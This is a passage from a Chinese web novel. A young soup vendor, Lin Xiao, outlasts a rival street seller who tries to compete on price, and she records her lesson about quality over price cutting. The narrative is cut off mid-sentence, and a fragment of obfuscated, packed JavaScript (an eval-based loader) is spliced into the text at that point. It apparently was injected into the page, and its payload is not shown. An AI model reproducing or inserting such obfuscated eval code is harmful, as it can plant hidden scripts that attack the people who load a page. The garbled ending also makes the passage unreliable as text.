张大姐挂了电话,气冲冲地瞪了林笑一眼。
那一眼的意思很明显,就差没把话说出口:“小丫头抢我生意”。
林笑感受到了那道目光,但她没有抬头,也没有回瞪。
她安安静静地做自己的事,杀鱼、煎鱼、倒水、加豆腐、撒葱花,每一步都稳稳当当的。
张大姐的生意确实在下滑。
第四天,她推出了“加量不加价”的活动,学林笑的。
但她的汤锅太小,加量也加不了多少,客人觉得没诚意。
第五天,她又推出了“买五送一”,把价格压得更低。
但她送的那一份汤量很少,只有半碗,客人觉得被套路了。
第六天,她的推车没有出现。
林笑不知道她是换地方了还是不干了,她也没去打听。
她只知道自己今天的汤,又卖了二十八份。
晚上回到家,林笑把这几天的经历在脑子里过了一遍。
她差一点就降价了。
差一点就因为看到别人生意好,自己慌了神,跟着别人的节奏走。
是孙老师的那句话点醒了她——
“你不需要降价,你只需要把你自己做的事情做好。”
【经营心得记录】
>遇到竞争对手时,第一反应不应该是降价。
>拼价格是死路,拼品质才是活路。
>客人不傻,他们知道什么是好东西。
>真材实料、看得见的厨房、不加味精。
——这些才是我的优势。
林笑合上本子,轻轻靠在藤椅上。
院子里的枇杷树在夜风里轻轻摇着,树上的果子又黄了一些。
半晌,她忽然想到一个事。
她好像从来没跟张大姐说过什么话。
除了第一天对方隔着马路喊的那一声“小姑娘,你也卖汤啊”,两个人之间没有任何
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(